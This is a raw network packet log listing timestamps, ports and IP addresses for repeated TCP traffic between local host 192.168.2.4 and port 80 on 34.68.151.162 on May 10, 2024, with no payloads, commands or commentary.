May 10, 2024 09:20:58.227590084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227601051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227612019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227691889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227703094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227714062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227730989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227754116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227766037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227777004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227787971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227798939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227811098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227821112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227832079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227843046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227854013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227864981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227875948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227886915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227896929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227909088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227920055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227931976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227942944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227952957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227963924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227974892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227987051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.227998972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228010893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228024006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228034973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228045940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228056908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228069067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228080034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228091002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228111029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228121996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228133917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228144884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228157043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228168011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228178978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228189945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228200912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228213072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228224993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228236914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228247881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228260040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228271961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228285074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228296041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228307009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228317976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228328943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228339911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228353024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228364944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228377104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228388071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228399992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228411913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228423119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228424072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228437901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228439093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228451967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228466034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228480101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228482008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228490114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228490114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228490114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228490114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228497028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228502989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228509903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228521109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228533030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228543997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228554964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228575945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228586912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228598118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228610039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228622913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228635073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228646040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228657961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228668928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228679895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228691101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228703976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228714943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228725910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228738070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228749037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228760958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228771925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228784084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228796005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228806973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228817940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228831053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228831053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228843927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228843927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228844881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228843927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228843927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228843927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228843927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228856087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.228857994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228871107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228892088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228903055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228914022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228925943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228936911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228950024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228971958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228982925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.228993893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229006052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229012966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229012966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229012966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229012966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229012966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229017973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229032040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229044914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229049921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229058027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229069948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229080915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229087114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229093075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229105949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229119062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229120970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229134083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229139090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229146957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229157925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229168892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229172945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229182005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229193926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229197025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229207039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229213953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229218960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229231119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229242086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229249954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229254007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229266882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229274035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229279995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229286909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229293108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229302883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229311943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229315042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229340076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229343891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229356050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229367018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229372978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229379892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229392052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229396105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229403973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229415894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229428053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229433060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229439974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229453087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229458094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229465961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229470968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229477882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229490995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229501963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229501963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229512930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229525089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229527950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229537010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229542017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229551077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229563951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229567051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229576111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229588985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229593039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229602098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229614019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229625940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229628086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229638100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229650974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229660988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229662895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229672909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229676962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229688883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229697943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229701042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229712963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229721069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229732037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229744911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229757071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229763985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229769945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229777098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229783058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229794025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229803085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229819059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229830027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229836941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229841948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229854107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229861975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229866982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229876041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229880095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229892015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229903936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229916096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229928017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229935884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229942083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229952097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229955912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229967117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229968071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229981899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.229990005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.229994059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230005980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230014086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230019093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230031013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230041981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230046988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230055094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230067015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230072021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230079889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230087996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230093956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230108023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230113029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230120897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230133057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230144978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230146885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230156898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230161905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230170012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230181932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230194092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230195999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230206013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230214119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230217934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230230093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230238914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230242014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230254889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230267048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230273962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230279922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230290890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230299950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230303049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230314970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230315924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230329037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230338097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230341911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230355024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230360985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230366945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230380058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230391026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230392933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230403900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230410099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230417013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230428934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230441093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230444908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230453968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230467081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230468988 CEST	49754	80	192.168.2.4	34.68.151.162
